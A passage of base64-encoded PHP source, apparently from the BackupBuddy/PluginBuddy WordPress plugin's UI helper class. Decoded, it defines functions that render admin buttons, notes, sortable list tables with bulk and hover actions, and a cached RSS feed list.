JsCQkJCVVSTCAoaHJlZikgZm9yIHRoZSBidXR0b24gdG8gbGluayB0by4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGV4dAkJCQlUZXh0IHRvIGRpc3BsYXkgaW4gdGhlIGJ1dHRvbi4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGl0bGUJCQkJT3B0aW9uYWwgdGl0bGUgdGV4dCB0byBkaXNwbGF5IG9uIGhvdmVyIGluIHRoZSB0aXRsZSB0YWcuCgkgKglAcGFyYW0JCWJvb2xlYW4JCSRwcmltYXJ5CQkJKG9wdGlvbmFsKSBXaGV0aGVyIG9yIG5vdCB0aGlzIGlzIGEgcHJpbWFyeSBidXR0b24uIFByaW1hcnkgYnV0dG9ucyBhcmUgYmx1ZSBhbmQgc3Ryb25nIHdoZXJlIGRlZmF1bHQgbm9uLXByaW1hcnkgaXMgZ3JleSBhbmQgZ2VudGxlLgoJICoJQHBhcmFtCQlzdHJpbmcJCSRhZGRpdGlvbmFsX2NsYXNzCShvcHRpb25hbCkgQWRkaXRpb25hbCBDU1MgY2xhc3MgdG8gYXBwbHkgdG8gYnV0dG9uLiBVc2VmdWwgZm9yIHRoaWNrYm94IG9yIG90aGVyIEpTIHN0dWZmLgoJICoJQHBhcmFtCQlzdHJpbmcJCSRpZAkJCQkJKG9wdGlvbmFsKSBIVE1MIElEIHRvIGFwcGx5LiBVc2VmdWwgZm9yIEpTLgoJICoJQHJldHVybgkJc3RyaW5nCQkJCQkJCUhUTUwgc3RyaW5nIGZvciB0aGUgYnV0dG9uLgoJICovCglwdWJsaWMgZnVuY3Rpb24gYnV0dG9uKCAkdXJsLCAkdGV4dCwgJHRpdGxlID0gJycsICRwcmltYXJ5ID0gZmFsc2UsICRhZGRpdGlvbmFsX2NsYXNzID0gJycsICRpZCA9ICcnICkgewoJCWlmICggJHByaW1hcnkgPT09IGZhbHNlICkgewoJCQlyZXR1cm4gJzxhIGNsYXNzPSJidXR0b24gc2Vjb25kYXJ5LWJ1dHRvbiAnIC4gJGFkZGl0aW9uYWxfY2xhc3MgLiAnIiBzdHlsZT0ibWFyZ2luLXRvcDogM3B4OyIgaWQ9IicgLiAkaWQgLiAnIiB0aXRsZT0iJyAuICR0aXRsZSAuICciIGhyZWY9IicgLiAkdXJsIC4gJyI+JyAuICR0ZXh0IC4gJzwvYT4nOwoJCX0gZWxzZSB7CgkJCXJldHVybiAnPGEgY2xhc3M9ImJ1dHRvbiBidXR0b24tcHJpbWFyeSAnIC4gJGFkZGl0aW9uYWxfY2xhc3MgLiAnIiBzdHlsZT0ibWFyZ2luLXRvcDogM3B4OyIgaWQ9IicgLiAkaWQgLiAnIiB0aXRsZT0iJyAuICR0aXRsZSAuICciIGhyZWY9IicgLiAkdXJsIC4gJyI+JyAuICR0ZXh0IC4gJzwvYT4nOwoJCX0KCX0gLy8gRW5kIGJ1dHRvbigpLgoKCgoJLyoJcGx1Z2luYnVkZHlfdWktPm5vdGUoKQoJICoKCSAqCURpc3BsYXkgdGV4dCBpbiBhIHN1YnRsZSB3YXkuCgkgKgoJICoJQHBhcmFtCQlzdHJpbmcJCSR0ZXh0CQlUZXh0IG9mIG5vdGUuCgkgKglAcGFyYW0JCWJvb2xlYW4JCSRlY2hvCQlXaGV0aGVyIG9yIG5vdCB0byBlY2hvIHRoZSBzdHJpbmcgb3IgcmV0dXJuLgoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJUmV0dXJucyBudWxsIGlmICRlY2hvIGlzIHRydWU7IGVsc2UgcmV0dXJucyBzdHJpbmcgd2l0aCBIVE1MLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG5vdGUoICR0ZXh0LCAkZWNobyA9IHRydWUgKSB7CgkJJHJldHVybiA9ICc8c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iPjxpPicgLiAkdGV4dCAuICc8L2k+PC9zcGFuPic7CgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmV0dXJuOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkcmV0dXJuOwoJCX0KCX0gLy8gRW5kIG5vdGUoKS4KCgoKCS8qCXBsdWdpbmJ1ZGR5X3VpLT5saXN0X3RhYmxlKCkKCSAqCgkgKglEaXNwbGF5cyBhIG5pY2UgdGFibGUgd2l0aCBtdWx0aXBsZSBjb2x1bW5zLCByb3dzLCBidWxrIGFjdGlvbnMsIGhvdmVyIGFjdGlvbnMsIGV0YyBzaW1pbGFyIHRvIFdvcmRQcmVzcyBwb3N0cyB0YWJsZS4KCSAqCUN1cnJlbnRseSBvbmx5IHN1cHBvcnRzIGVjaG8gb2Ygb3V0cHV0LgoJICoKCSAqCUBwYXJhbQkJYXJyYXkJCSRpdGVtcwkJQXJyYXkgb2Ygcm93cyB0byBkaXNwbGF5LiBFYWNoIHJvdyBhcnJheSBjb250YWlucyBhbiBhcnJheSB3aXRoIHRoZSBjb2x1bW5zLiBUeXBpY2FsbHkgc2V0IGluIGNvbnRyb2xsZXIuCgkgKgkJCQkJCQkJCQlFeDogYXJyYXkoIGFycmF5KCAnYmx1ZScsICdyZWQnICksIGFycmF5KCAnYnJvd24nLCAnZ3JlZW4nICkgKS4KCSAqCQkJCQkJCQkJCUlmIHRoZSB2YWx1ZSBmb3IgYW4gaXRlbSBpcyBhbiBhcnJheSB0aGVuIHRoZSBmaXJzdCB2YWx1ZSB3aWxsIGJlIGFzc2lnbmVkIHRvIHRoZSByZWwgdGFnIG9mIGFueSBob3ZlciBhY3Rpb25zLiBJZiBub3QKCSAqCQkJCQkJCQkJCWFuIGFycmF5IHRoZW4gdGhlIHZhbHVlIGl0c2VsZiB3aWxsIGJlIHB1dCBpbiB0aGUgcmVsIHRhZy4gIElmIGFuIGFycmF5IHRoZSBzZWNvbmQgdmFsdWUgd2lsbCBiZSB0aGUgb25lIGRpc3BsYXllZCBpbiB0aGUgY29sdW1uLgoJICoJCQkJCQkJCQkJQmFja3VwQnVkZHkgbmVlZGVkIHRoZSBkaXNwbGF5ZWQgaXRlbSBpbiB0aGUgY29sdW1uIHRvIGJlIGEgbGluayAoZm9yIGRvd25sb2FkaW5nIGJhY2t1cHMpIGJ1dCB0aGUgYmFja3VwIGZpbGUgYXMgdGhlIHJlbC4KCSAqCUBwYXJhbQkJYXJyYXkJCSRzZXR0aW5ncwlBcnJheSBvZiBhbGwgdGhlIHZhcmlvdXMgc2V0dGluZ3MuIE1lcmdlZCB3aXRoIGRlZmF1bHRzIHByaW9yIHRvIHVzYWdlLiBUeXBpY2FsbHkgc2V0IGluIHZpZXcuCgkgKgkJCQkJCQkJCQlTZWUgJGRlZmF1bHRfc2V0dGluZ3MgYXQgYmVnaW5uaW5nIG9mIGZ1bmN0aW9uIGZvciBhdmFpbGFibGUgc2V0dGluZ3MuCgkgKgkJCQkJCQkJCQlFeDogJHNldHRpbmdzID0gYXJyYXkoCgkgKgkJCQkJCQkJCQkJCSdhY3Rpb24nCQk9PgkJcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSwKCSAqCQkJCQkJCQkJCQkJJ2NvbHVtbnMnCQk9PgkJYXJyYXkoICdHcm91cCBOYW1lJywgJ0ltYWdlcycsICdTaG9ydGNvZGUnICksCgkgKgkJCQkJCQkJCQkJCSdob3Zlcl9hY3Rpb25zJwk9PgkJYXJyYXkoICdlZGl0JyA9PiAnRWRpdCBHcm91cCBTZXR0aW5ncycgKSwJCS8vIFNsdWcgY2FuIGJlIGEgVVJMLiBJbiB0aGlzIGNhc2UgdGhlIHZhbHVlIG9mIHRoZSBob3ZlcmVkIHJvdyB3aWxsIGJlIGFwcGVuZGVkIHRvIHRoZSBlbmQgb2YgdGhlIFVSTC4gVE9ETzogTWFrZSB0aGUgZmlyc3QgaG92ZXIgYWN0aW9uIGJlIHRoZSBsaW5rIGZvciB0aGUgZmlyc3QgbGlzdGVkIGl0ZW0uCgkgKgkJCQkJCQkJCQkJCSdidWxrX2FjdGlvbnMnCT0+CQlhcnJheSggJ2RlbGV0ZV9pbWFnZXMnID0+ICdEZWxldGUnICksCgkgKgkJCQkJCQkJCQkJKTsKCSAqCUByZXR1cm4JCW51bGwKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBsaXN0X3RhYmxlKCAkaXRlbXMsICRzZXR0aW5ncyApIHsKCQkkZGVmYXVsdF9zZXR0aW5ncyA9IGFycmF5KAoJCQkJCQkJCSdjb2x1bW5zJwkJCQkJPT4JYXJyYXkoKSwKCQkJCQkJCQknaG92ZXJfYWN0aW9ucycJCQkJPT4JYXJyYXkoKSwKCQkJCQkJCQknYnVsa19hY3Rpb25zJwkJCQk9PglhcnJheSgpLAoJCQkJCQkJCSdob3Zlcl9hY3Rpb25fY29sdW1uX2tleScJPT4JJycsCQkJLy8gaW50IG9mIGNvbHVtbiB0byBzZXQgdmFsdWU9IGluIFVSTCBhbmQgcmVsIHRhZz0gZm9yIHVzaW5nIGluIEpTLgoJCQkJCQkJCSdhY3Rpb24nCQkJCQk9PgknJywKCQkJCQkJCQkncmVvcmRlcicJCQkJCT0+CScnLAoJCQkJCQkJCSdhZnRlcl9idWxrJwkJCQk9PgknJywKCQkJCQkJCQknY3NzJwkJCQkJCT0+CScnLAoJCQkJCQkJKTsKCgkJLy8gTWVyZ2UgZGVmYXVsdHMuCgkJJHNldHRpbmdzID0gYXJyYXlfbWVyZ2UoICRkZWZhdWx0X3NldHRpbmdzLCAkc2V0dGluZ3MgKTsKCgkJLy8gRnVuY3Rpb24gdG8gaXRlcmF0ZSB0aHJvdWdoIGJ1bGsgYWN0aW9ucy4gVG9wIGFuZCBib3R0b20gc2V0IGFyZSB0aGUgc2FtZS4KCQlpZiAoICFmdW5jdGlvbl9leGlzdHMoICdidWxrX2FjdGlvbnMnICkgKSB7CgkJCWZ1bmN0aW9uIGJ1bGtfYWN0aW9ucyggJHNldHRpbmdzLCAkaG92ZXJfbm90ZSA9IGZhbHNlICkgewoJCQkJaWYgKCBjb3VudCggJHNldHRpbmdzWydidWxrX2FjdGlvbnMnXSApID4gMCApIHsKCQkJCQllY2hvICc8ZGl2IHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogM3B4OyBwYWRkaW5nLXRvcDogM3B4OyI+JzsKCQkJCQlpZiAoIGNvdW50KCAkc2V0dGluZ3NbJ2J1bGtfYWN0aW9ucyddICkgPT0gMSApIHsKCQkJCQkJZm9yZWFjaCggJHNldHRpbmdzWydidWxrX2FjdGlvbnMnXSBhcyAkYWN0aW9uX3NsdWcgPT4gJGFjdGlvbl90aXRsZSApIHsKCQkJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJ1bGtfYWN0aW9uIiB2YWx1ZT0iJyAuICRhY3Rpb25fc2x1ZyAuICciPic7CgkJCQkJCQllY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJkb19idWxrX2FjdGlvbiIgdmFsdWU9IicgLiAkYWN0aW9uX3RpdGxlIC4gJyIgY2xhc3M9ImJ1dHRvbiBzZWNvbmRhcnktYnV0dG9uIGJhY2t1cGJ1ZGR5LWRvX2J1bGtfYWN0aW9uIj4nOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNobyAnPHNlbGVjdCBuYW1lPSJidWxrX2FjdGlvbiIgY2xhc3M9ImFjdGlvbnMiPic7CgkJCQkJCWZvcmVhY2ggKCAkc2V0dGluZ3NbJ2J1bGtfYWN0aW9ucyddIGFzICRhY3Rpb25fc2x1ZyA9PiAkYWN0aW9uX3RpdGxlICkgewoJCQkJCQkJZWNobyAnPG9wdGlvbj5CdWxrIEFjdGlvbnM8L29wdGlvbj4nOwoJCQkJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJyAuICRhY3Rpb25fc2x1ZyAuICciPicgLiAkYWN0aW9uX3RpdGxlIC4gJzwvb3B0aW9uPic7CgkJCQkJCX0KCQkJCQkJZWNobyAnPC9zZWxlY3Q+ICZuYnNwOyc7CgkJCQkJCS8vZWNobyBzZWxmOjpidXR0b24oICcjJywgJ0FwcGx5JyApOwoJCQkJCQllY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJkb19idWxrX2FjdGlvbiIgdmFsdWU9IkFwcGx5IiBjbGFzcz0iYnV0dG9uIHNlY29uZGFyeS1idXR0b24gYmFja3VwYnVkZHktZG9fYnVsa19hY3Rpb24iPic7CgkJCQkJfQoJCQkJCWVjaG8gJyZuYnNwOyZuYnNwOyc7CgkJCQkJZWNobyAkc2V0dGluZ3NbJ2FmdGVyX2J1bGsnXTsKCgkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWxpZ25yaWdodCBhY3Rpb25zIj4nOwoJCQkJCWlmICggJGhvdmVyX25vdGUgPT09IHRydWUgKSB7CgkJCQkJCWVjaG8gcGJfYmFja3VwYnVkZHk6OiR1aS0+bm90ZSggJ0hvdmVyIG92ZXIgaXRlbXMgYWJvdmUgZm9yIGFkZGl0aW9uYWwgb3B0aW9ucy4nICk7CgkJCQkJfQoJCQkJCWlmICggJHNldHRpbmdzWydyZW9yZGVyJ10gIT0gJycgKSB7CgkJCQkJCWVjaG8gJwk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlX29yZGVyIiBpZD0ic2F2ZV9vcmRlciIgdmFsdWU9IlNhdmUgT3JkZXIiIGNsYXNzPSJidXR0b24tc2Vjb25kYXJ5IiAvPic7CgkJCQkJfQoJCQkJCWVjaG8gJzwvZGl2Pic7CgoJCQkJCWVjaG8gJzwvZGl2Pic7CgkJCQl9CgkJCX0gLy8gRW5kIHN1YmZ1bmN0aW9uIGJ1bGtfYWN0aW9ucygpLgoJCX0gLy8gRW5kIGlmIGZ1bmN0aW9uIGRvZXMgbm90IGV4aXN0LgoKCQlpZiAoICRzZXR0aW5nc1snYWN0aW9uJ10gIT0gJycgKSB7CgkJCWVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInIC4gJHNldHRpbmdzWydhY3Rpb24nXSAuICciPic7CgkJCXBiX2JhY2t1cGJ1ZGR5Ojpub25jZSgpOwoJCQlpZiAoICRzZXR0aW5nc1sncmVvcmRlciddICE9ICcnICkgewoJCQkJZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3JkZXIiIHZhbHVlPSIiIGlkPSJwYl9vcmRlciI+JzsKCQkJfQoJCX0KCgoJCWVjaG8gJzxkaXYgc3R5bGU9IndpZHRoOiA3MCU7IG1pbi13aWR0aDogNzIwcHg7ICcgLiAkc2V0dGluZ3NbJ2NzcyddIC4gJyI+JzsKCgkJLy8gRGlzcGxheSBidWxrIGFjdGlvbnMgKHRvcCkuCgkJYnVsa19hY3Rpb25zKCAkc2V0dGluZ3MgKTsKCgkJZWNobyAnPHRhYmxlIGNsYXNzPSJ3aWRlZmF0IHN0cmlwZWQiJzsKCQllY2hvICcgaWQ9InRlc3QiPic7CgkJZWNobyAnCQk8dGhlYWQ+CgkJCQkJPHRyIGNsYXNzPSJ0aGVhZCI+JzsKCQlpZiAoIGNvdW50KCAkc2V0dGluZ3NbJ2J1bGtfYWN0aW9ucyddICkgPiAwICkgewoJCQllY2hvJwkJPHRoIHNjb3BlPSJjb2wiIGNsYXNzPSJjaGVjay1jb2x1bW4iPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImNoZWNrLWFsbC1lbnRyaWVzIiAvPjwvdGg+JzsKCQl9CgkJZm9yZWFjaCAoICRzZXR0aW5nc1snY29sdW1ucyddIGFzICRjb2x1bW4gKSB7CgkJCWVjaG8gJzx0aD4nIC4gJGNvbHVtbiAuICc8L3RoPic7CgkJfQoJCWVjaG8gJwkJPC90cj4KCQkJCTwvdGhlYWQ+CgkJCTx0Zm9vdD4KCQkJCTx0ciBjbGFzcz0idGhlYWQiPic7CgkJaWYgKCBjb3VudCggJHNldHRpbmdzWydidWxrX2FjdGlvbnMnXSApID4gMCApIHsKCQkJZWNobycJPHRoIHNjb3BlPSJjb2wiIGNsYXNzPSJjaGVjay1jb2x1bW4iPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImNoZWNrLWFsbC1lbnRyaWVzIiAvPjwvdGg+JzsKCQl9CgkJZm9yZWFjaCAoICRzZXR0aW5nc1snY29sdW1ucyddIGFzICRjb2x1bW4gKSB7CgkJCWVjaG8gJzx0aD4nIC4gJGNvbHVtbiAuICc8L3RoPic7CgkJfQoJCWVjaG8gJwk8L3RyPgoJCQk8L3Rmb290PgoJCQk8dGJvZHknOwoJCWlmICggJHNldHRpbmdzWydyZW9yZGVyJ10gIT0gJycgKSB7CgkJCWVjaG8gJyBjbGFzcz0icGJfcmVvcmRlciInOwoJCX0KCQllY2hvICc+JzsKCgkJLy8gTE9PUCBUSFJPVUdIIEVBQ0ggUk9XLgoJCWZvcmVhY2ggKCAoYXJyYXkpJGl0ZW1zIGFzICRpdGVtX2lkID0+ICRpdGVtICkgewoJCQllY2hvICcJPHRyIGNsYXNzPSJlbnRyeS1yb3ciIGlkPSJwYl9yb3dpdGVtLScgLiAkaXRlbV9pZCAuICciPic7CgkJCWlmICggY291bnQoICRzZXR0aW5nc1snYnVsa19hY3Rpb25zJ10gKSA+IDAgKSB7CgkJCQllY2hvJwk8dGggc2NvcGU9InJvdyIgY2xhc3M9ImNoZWNrLWNvbHVtbiI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJpdGVtc1tdIiBjbGFzcz0iZW50cmllcyIgdmFsdWU9IicgLiAkaXRlbV9pZCAuICciPjwvdGg+JzsKCQkJfQoJCQllY2hvICcJCTx0ZD4nOwoKCQkJaWYgKCBpc19hcnJheSggJGl0ZW1bJzAnXSApICkgewoJCQkJaWYgKCAkaXRlbVsnMCddWzFdID09ICcnICkgewoJCQkJCWVjaG8gJyZuYnNwOyc7CgkJCQl9IGVsc2UgewoJCQkJCWVjaG8gJGl0ZW1bJzAnXVsxXTsKCQkJCX0KCQkJfSBlbHNlIHsKCQkJCWlmICggJGl0ZW1bJzAnXSA9PSAnJyApIHsKCQkJCQllY2hvICcmbmJzcDsnOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICRpdGVtWycwJ107CgkJCQl9CgkJCX0KCgkJCWVjaG8gJwkJCTxkaXYgY2xhc3M9InJvdy1hY3Rpb25zIiBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsiPic7IC8vICBzdHlsZT0ibWFyZ2luOjA7IHBhZGRpbmc6MDsiCgkJCSRpID0gMDsKCQkJZm9yZWFjaCAoICRzZXR0aW5nc1snaG92ZXJfYWN0aW9ucyddIGFzICRhY3Rpb25fc2x1ZyA9PiAkYWN0aW9uX3RpdGxlICkgeyAvLyBEaXNwbGF5IGFsbCBob3ZlciBhY3Rpb25zLgoJCQkJJGkrKzsKCQkJCWlmICggJHNldHRpbmdzWydob3Zlcl9hY3Rpb25fY29sdW1uX2tleSddICE9ICcnICkgewoJCQkJCWlmICggaXNfYXJyYXkoICRpdGVtWyRzZXR0aW5nc1snaG92ZXJfYWN0aW9uX2NvbHVtbl9rZXknXV0gKSApIHsKCQkJCQkJJGhvdmVyX2FjdGlvbl9jb2x1bW5fdmFsdWUgPSAkaXRlbVskc2V0dGluZ3NbJ2hvdmVyX2FjdGlvbl9jb2x1bW5fa2V5J11dWzBdOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRob3Zlcl9hY3Rpb25fY29sdW1uX3ZhbHVlID0gJGl0ZW1bJHNldHRpbmdzWydob3Zlcl9hY3Rpb25fY29sdW1uX2tleSddXTsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCSRob3Zlcl9hY3Rpb25fY29sdW1uX3ZhbHVlID0gJyc7CgkJCQl9CgkJCQkvL2VjaG8gJ3NsdWc6ICcgLiAkYWN0aW9uX3NsdWc7CgkJCQlpZiAoIHN0cnN0ciggJGFjdGlvbl9zbHVnLCAnLycgKSA9PT0gZmFsc2UgKSB7IC8vIFdvcmQgaG92ZXIgYWN0aW9uIHNsdWcuCgkJCQkJJGhvdmVyX2xpbms9IHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpIC4gJyYnIC4gJGFjdGlvbl9zbHVnIC4gJz0nIC4gJGl0ZW1faWQgLiAnJnZhbHVlPScgLiAkaG92ZXJfYWN0aW9uX2NvbHVtbl92YWx1ZTsKCQkJCX0gZWxzZSB7IC8vIFVSTCBob3ZlciBhY3Rpb24gc2x1ZyBzbyBqdXN0IGFwcGVuZCB2YWx1ZSB0byBVUkwuCgkJCQkJJGhvdmVyX2xpbmsgPSAkYWN0aW9uX3NsdWcgLiAkaG92ZXJfYWN0aW9uX2NvbHVtbl92YWx1ZTsKCQkJCX0KCgkJCQkvLyBTb21lIGhvc3QncyBkb24ndCBhbGxvdyBnZXQgcGFyYW1zIHRoYXQgZW5kIGluIC56aXAKCQkJCWlmICggJy56aXAnID09IHN1YnN0ciggJGhvdmVyX2xpbmssIC00ICkgKSB7CgkJCQkJJGhvdmVyX2xpbmsgLj0gJyZidWJfcmFuZD0nIC4gcmFuZCggMTAwLCA5OTkgKTsKCQkJCX0KCgkJCQllY2hvICc8YSBocmVmPSInIC4gJGhvdmVyX2xpbmsgLiAnIiBjbGFzcz0icGJfJyAuIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3NsdWcnICkgLiAnX2hvdmVyYWN0aW9uXycgLiAkYWN0aW9uX3NsdWcgLiAnIiByZWw9IicgLiAkaG92ZXJfYWN0aW9uX2NvbHVtbl92YWx1ZSAuICciPicgLiAkYWN0aW9uX3RpdGxlIC4gJzwvYT4nOwoJCQkJaWYgKCAkaSA8IGNvdW50KCAkc2V0dGluZ3NbJ2hvdmVyX2FjdGlvbnMnXSApICkgewoJCQkJCWVjaG8gJyB8ICc7CgkJCQl9CgkJCX0KCQkJZWNobyAnCQkJPC9kaXY+CgkJCQkJCTwvdGQ+JzsKCgoJCQlpZiAoICRzZXR0aW5nc1sncmVvcmRlciddICE9ICcnICkgewoJCQkJJGNvdW50ID0gY291bnQoICRpdGVtICkgKyAxOyAvLyBFeHRyYSByb3cgZm9yIHJlb3JkZXJpbmcuCgkJCX0gZWxzZSB7CgkJCQkkY291bnQgPSBjb3VudCggJGl0ZW0gKTsKCQkJfQoKCQkJLy8gTE9PUCBUSFJPVUdIIENPTFVNTlMgRk9SIFRISVMgUk9XLgoJCQlmb3IgKCAkaSA9IDE7ICRpIDwgJGNvdW50OyAkaSsrICkgewoJCQkJaWYgKCAhIGlzc2V0KCAkaXRlbVskaV0gKSApIHsgY29udGludWU7IH0gLy8gVGhpcyByb3cgZG9lcyBub3QgaGF2ZSBhIGNvcnJlc3BvbmRpbmcgaW5kZXgtYmFzZWQgaXRlbS4gIEl0IGlzIHByb2JhYmx5IGEgbmFtZWQga2V5IG5vdCBmb3IgdXNlIGluIHRhYmxlPwoJCQkJZWNobyAnPHRkJzsKCQkJCWlmICggJHNldHRpbmdzWydyZW9yZGVyJ10gIT0gJycgKSB7CgkJCQkJaWYgKCAkaSA9PSAkc2V0dGluZ3NbJ3Jlb3JkZXInXSApIHsKCQkJCQkJZWNobyAnIGNsYXNzPSJwYl9kcmFnaGFuZGxlIiBhbGlnbj0iY2VudGVyIic7CgkJCQkJfQoJCQkJfQoJCQkJZWNobyAnPic7CgoJCQkJaWYgKCAoICRzZXR0aW5nc1sncmVvcmRlciddICE9ICcnICkgJiYgKCAkaSA9PSAoICRzZXR0aW5nc1sncmVvcmRlciddICkgKSApIHsKCQkJCQllY2hvICc8aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL3BsdWdpbmJ1ZGR5L2ltYWdlcy9kcmFnaGFuZGxlLnBuZyIgYWx0PSJDbGljayBhbmQgZHJhZyB0byByZW9yZGVyIj4nOwoJCQkJfSBlbHNlIHsKCQkJCQlpZiAoICRpdGVtWyRpXSA9PSAnJyApIHsKCQkJCQkJZWNobyAnJm5ic3A7JzsKCQkJCQl9IGVsc2UgewoJCQkJCQllY2hvICRpdGVtWyRpXTsKCQkJCQl9CgkJCQl9CgoJCQkJZWNobyAnPC90ZD4nOwoJCQl9CgoJCQllY2hvICcJPC90cj4nOwoJCX0KCgkJZWNobyAnCTwvdGJvZHk+JzsKCQllY2hvICc8L3RhYmxlPic7CgoJCS8vIERpc3BsYXkgYnVsayBhY3Rpb25zIChib3R0b20pLgoJCWJ1bGtfYWN0aW9ucyggJHNldHRpbmdzLCB0cnVlICk7CgoJCWVjaG8gJzwvZGl2Pic7CgkJaWYgKCAkc2V0dGluZ3NbJ2FjdGlvbiddICE9ICcnICkgewoJCQllY2hvICc8L2Zvcm0+JzsKCQl9Cgl9IC8vIEVuZCBsaXN0X3RhYmxlKCkuCgoKCS8qKgoJICoJcGJfYmFja3VwYnVkZHk6OmdldF9mZWVkKCkKCSAqCgkgKglHZXRzIGFuIFJTUyBvciBvdGhlciBmZWVkIGFuZCBpbnNlcnRzIGl0IGFzIGEgbGlzdCBvZiBsaW5rcy4uLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkZmVlZAkJVVJMIHRvIHRoZSBmZWVkLgoJICoJQHBhcmFtCQlpbnQJCQkkbGltaXQJCU51bWJlciBvZiBpdGVtcyB0byByZXRyaWV2ZS4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkYXBwZW5kCQlIVE1MIHRvIGluY2x1ZGUgaW4gdGhlIGxpc3QuIFNob3VsZCB1c3VhbGx5IGJlIDxsaT4gaXRlbXMgaW5jbHVkaW5nIHRoZSA8bGk+IGNvZGUuCgkgKglAcGFyYW0JCXN0cmluZwkJJHJlcGxhY2UJU3RyaW5nIHRvIHJlcGxhY2UgaW4gZXZlcnkgdGl0bGUgcmV0dXJuZWQuIGllIHR3aXR0ZXIgaW5jbHVkZXMgeW91ciBvd24gdXNlcm5hbWUgYXQgdGhlIGJlZ2lubmluZyBvZiBlYWNoIGxpbmUuCgkgKglAcmV0dXJuCQlzdHJpbmcKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9mZWVkKCAkZmVlZCwgJGxpbWl0LCAkYXBwZW5kID0gJycsICRyZXBsYWNlID0gJycgKSB7CgkJJHJldHVybiA9ICcnOwoKCQkkZmVlZF9odG1sID0gZ2V0X3RyYW5zaWVudCggbWQ1KCAkZmVlZCApICk7CgoJCWlmICggZmFsc2UgPT09ICRmZWVkX2h0bWwgKSB7CgkJCSRmZWVkX2h0bWwgPSAnJzsKCQkJcmVxdWlyZV9vbmNlKEFCU1BBVEguV1BJTkMuJy9mZWVkLnBocCcpOwoJCQkkcnNzID0gZmV0Y2hfZmVlZCggJGZlZWQgKTsKCQkJaWYgKCBpc193cF9lcnJvciggJHJzcyApICkgewoJCQkJJHJldHVybiAuPSAne1RlbXBvcmFyaWx5IHVuYWJsZSB0byBsb2FkIGZlZWQufSc7CgkJCQlyZXR1cm4gJHJldHVybjsKCQkJfQoJCQkkbWF4aXRlbXMgPSAkcnNzLT5nZXRfaXRlbV9xdWFudGl0eSggJGxpbWl0ICk7IC8vIExpbWl0CgkJCSRyc3NfaXRlbXMgPSAkcnNzLT5nZXRfaXRlbXMoMCwgJG1heGl0ZW1zKTsKCQl9CgoJCSRyZXR1cm4gLj0gJzx1bCBjbGFzcz0icGx1Z2luYnVkZHktbm9kZWNvciIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxMHB4OyI+JzsKCgoJCWlmICggJGZlZWRfaHRtbCA9PSAnJyApIHsKCQkJZm9yZWFjaCAoIChhcnJheSkgJHJzc19pdGVtcyBhcyAkaXRlbSApIHsKCQkJCSRmZWVkX2h0bWwgLj0gJzxsaSBzdHlsZT0ibGlzdC1zdHlsZS10eXBlOiBub25lOyI+PGEgaHJlZj0iJyAuICRpdGVtLT5nZXRfcGVybWFsaW5rKCkgLiAnIiB0YXJnZXQ9Il9ibGFuayI+JzsKCQkJCSR0aXRsZSA9ICAkaXRlbS0+Z2V0X3RpdGxlKCk7IC8vLCBFTlRfTk9RVU9URVMsICdVVEYtOCcpOwoJCQkJaWYgKCAkcmVwbGFjZSAhPSAnJyApIHsKCQkJCQkkdGl0bGUgPSBzdHJfcmVwbGFjZSggJHJlcGxhY2UsICcnLCAkdGl0bGUgKTsKCQkJCX0KCQkJCWlmICggc3RybGVuKCAkdGl0bGUgKSA8IDMwICkgewoJCQkJCSRmZWVkX2h0bWwgLj0gJHRpdGxlOwoJCQkJfSBlbHNlIHsKCQkJCQkkZmVlZF9odG1sIC49IHN1YnN0ciggJHRpdGxlLCAwLCAzMiApIC4gJyAuLi4nOwoJCQkJfQoJCQkJJGZlZWRfaHRtbCAuPSAnPC9hPjwvbGk+JzsKCQkJfQoJCQlzZXRfdHJhbnNpZW50KCBtZDUoICRmZWVkICksICRmZWVkX2h0bWwsIDMwMCApOyAvLyBleHBpcmVzIGluIDMwMHNlY3MgYWthIDVtaW4KCQl9IGVsc2UgewoJCQkvL2VjaG8gJ0NBQ0hFRCc7CgkJfQoJCSRyZXR1cm4gLj0gJGZlZWRfaHRtbDsKCgkJJHJldHVybiAuPSAkYXBwZW5kOwoJCSRyZXR1cm4gLj0gJzwvdWw+JzsKCgoJCXJldHVybiAkcmV0dXJuOwoJfSAvLyBFbmQgZ2V0X2ZlZWQoKS4KCgoKCS8qKgoJICoJcGJfYmFja3VwYnVkZHk6OnRpcCgpCgkgKgoJICoJRGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIHdoZW4gdGhleSBob3ZlciBvdmVyIHRoZ